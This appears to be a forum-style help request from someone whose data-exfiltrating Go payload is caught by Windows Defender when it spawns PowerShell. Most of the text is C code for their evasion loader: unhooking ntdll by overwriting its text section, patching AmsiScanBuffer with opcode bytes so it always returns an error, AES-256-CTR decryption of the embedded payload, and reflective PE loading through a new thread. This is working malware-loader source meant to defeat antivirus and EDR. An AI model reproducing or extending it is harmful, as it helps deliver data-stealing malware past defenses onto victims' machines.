The Go payload internally calls powershell exe to perform certain tasks and when the payload runs Defender detects the PowerShell process creation and triggers a behavioral rule The payload executes successfully completes its tasks and exfiltrates data without issues but the only problem is that Defender sees the PowerShell invocation and I do not have access to the source code of the Go payload to modify the function calls directly
My loader works by taking a compiled exe file which is the Go payload and encrypting it using AES 256 CTR and then embedding the encrypted payload as a resource
When the loader runs it first unhooks ntdll by mapping a clean ntdll dll from disk and overwriting the text section in memory to remove any AV or EDR hooks then it patches AMSI to disable memory scanning by patching AmsiScanBuffer to always return E INVALIDARG using manual export resolution without GetProcAddress then it decrypts the payload using AES 256 CTR with manual counter mode using BCrypt then it performs reflective PE loading by resolving imports loading required DLLs and filling the IAT manually then it handles relocations to fix addresses if the payload does not load at its preferred base address and finally it sets correct section permissions and launches the entry point in a new thread
Despite unhooking ntdll and patching AMSI Windows Defender still detects the payload when it creates PowerShell processes and the detection appears to be behavioral rather than signature based because the payload itself runs fine until it invokes PowerShell.
Technique i use - x64 PE Runtime Crypter | Ricky5panish
1 Unhook ntdll remove AV and EDR hooks
Map a clean ntdll dll from disk and overwrite the text section in memory
HANDLE hF = CreateFileA("C:\Windows\System32\ntdll.dll", GENERIC_READ, ...);
HANDLE hM = CreateFileMappingA(hF, NULL, PAGE_READONLY | SEC_IMAGE, ...);
uint8_t *clean = MapViewOfFile(hM, FILE_MAP_READ, 0, 0, 0);
Find the text section and overwrite it
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
VirtualProtect(dst, sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, sec[i].Misc.VirtualSize); // clean bytes over the hooks
VirtualProtect(dst, sec[i].Misc.VirtualSize, old, &old);
}
}
2 AMSI patch disable memory scanning
Find AmsiScanBuffer through manual export walking without using GetProcAddress by string name
if (name[0]=='A' && name[4]=='S' && name[8]=='B' && name[14]=='\0') {
VirtualProtect(addr, 8, PAGE_READWRITE, &old);
// mov eax E_INVALIDARG ret the function always returns an error code
addr[0]=0xB8; addr[1]=0x57; addr[2]=0x00; addr[3]=0x07; addr[4]=0x80; addr[5]=0xC3;
VirtualProtect(addr, 8, old, &old);
}
3 AES 256 CTR decryption
Manual CTR mode encrypt the counter block using ECB and XOR with the data
for (size_t off = 0; off < len; off += 16) {
BCryptEncrypt(hKey, counter, 16, NULL, NULL, 0, keystream, 16, &ol, 0);
for (size_t i = 0; i < chunk; i++)
data[off+i] ^= keystream[i];
// Big endian increment counter
for (int i = 15; i >= 0; i--) { if (++counter[i]) break; }
}
4 Reflective PE Load resolve imports
For each DLL in the Import Table
while (imp->Name != 0) {
HMODULE hDll = LoadLibraryA(dll_name); // load the DLL
// For each function fill the IAT
while (orig_thunk->u1.AddressOfData != 0) {
IMAGE_IMPORT_BY_NAME ibn = (IMAGE_IMPORT_BY_NAME)(image_base + orig_thunk->u1.AddressOfData);
first_thunk->u1.Function = (uint64_t)GetProcAddress(hDll, ibn->Name);
orig_thunk++; first_thunk++;
}
imp++;
}
5 Relocations fix addresses when loading not at the preferred base
uint64_t delta = (uint64_t)image_base - nt->OptionalHeader.ImageBase;
// For each relocation entry
if (type == IMAGE_REL_BASED_DIR64) {
(uint64_t)patch += delta; // fix the 64 bit pointer
}
6 Launch entry point in a new thread
Set correct permissions on the sections
VirtualProtect(image_base + sec[i].VirtualAddress, sec[i].Misc.VirtualSize, prot, &old);
Launch it
FlushInstructionCache(GetCurrentProcess(), image_base, image_size);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)entry, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);